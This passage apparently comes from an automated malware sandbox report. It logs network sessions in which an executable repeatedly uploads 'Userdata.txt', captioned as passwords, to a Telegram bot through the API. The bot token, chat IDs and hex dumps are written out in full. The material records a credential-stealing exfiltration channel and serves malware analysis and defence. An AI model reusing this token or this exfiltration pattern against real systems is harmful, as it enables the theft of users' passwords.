20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31b0368823d7Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:02 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:01 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:02 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 32 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44786,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547121,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49981	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:03 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31c24cf1dd08 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:12:03 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 63 32 34 63 66 31 64 64 30 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31c24cf1dd08Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:03 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:03 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 32 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44787,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547123,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49983	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:04 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31d456c3dc56 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:12:04 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 64 34 35 36 63 33 64 63 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31d456c3dc56Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:05 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:05 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 32 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44788,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547125,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49985	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:06 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31e7b6fffa58 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:06 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 65 37 62 36 66 66 66 61 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31e7b6fffa58Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:06 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:06 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:06 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 32 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44789,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547126,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49987	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:08 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31f9a7e3cc8b Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:08 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 66 39 61 37 65 33 63 63 38 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31f9a7e3cc8bContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:08 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:08 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:08 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 32 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44790,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547128,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49989	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:09 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd320b8d01f7ea Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:09 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 30 62 38 64 30 31 66 37 65 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd320b8d01f7eaContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:09 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:09 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:09 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 32 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44791,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547129,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49992	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:11 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3220243286cd Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:11 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 32 30 32 34 33 32 38 36 63 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3220243286cdContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:11 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:11 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 33 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44792,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547131,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49994	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:12 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32334eab1922 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:12 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 33 33 34 65 61 62 31 39 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32334eab1922Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:13 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:13 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:13 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 33 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44793,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547133,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49996	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
